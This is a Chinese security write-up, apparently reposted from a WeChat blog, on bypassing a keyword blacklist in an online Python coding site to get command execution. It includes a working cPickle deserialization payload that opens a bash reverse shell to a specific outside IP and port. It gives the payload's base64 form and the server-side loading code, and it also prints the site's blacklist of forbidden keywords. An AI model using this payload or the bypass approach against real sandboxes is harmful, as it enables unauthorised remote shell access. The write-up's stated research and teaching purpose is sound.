之前的案例 《某Python学习网站在线编码导致命令执行》 漏洞修复后再次绕过的两种方法。
测试仍以黑名单形式过滤关键字。且只过滤用户输入,并未影响到运行时。
思路:这种过滤使用混淆(字符拼接、编码等)即可绕过,但执行混淆后的代码需要eval/exec,但它们在黑名单之内,需要“复活”之。
方案
-
复活eval函数
-
通过eval执行简单混淆过的payload
-
通过os.popen拿到shell
方法1:复活eval
poc 执行Linux命令 `id`
exp(getshell)
方法2:序列化替代eval
生成payload
import cPickle import base64 class MMM(object): def __reduce__(self): import os s = "/bin/bash -i >& /dev/tcp/119.29.235.20/12345 0>&1" return (os.popen, (s,)) print base64.b64encode(cPickle.dumps(MMM()))
服务端执行:
import cPickle, base64 s = 'Y3Bvc2l4CnBvcGVuCnAxCihTJy9iaW4vYmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMjM1LjIwLzEyMzQ1IDA+JjEnCnAyCnRScDMKLg==' cPickle.loads(base64.b64decode(s))
getshell
源码
进入系统之后,看到源码中的过滤规则如下:
elif forbidden_command(self.data): self.return_response("!!!!!!This command is forbidden.") def forbidden_command(data): forbidden_keywords = ["input", "system", "popen","subprocess", "commands", "rmdir", "open", "while", "help()", "serve", "turtle", "matplotlib", "socket", "eval", "exec"]
for keyword in forbidden_keywords: if keyword in data: return True return False
原文始发于微信公众号(乐枕迭代日志):Python在线编程导致命令执行(二)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论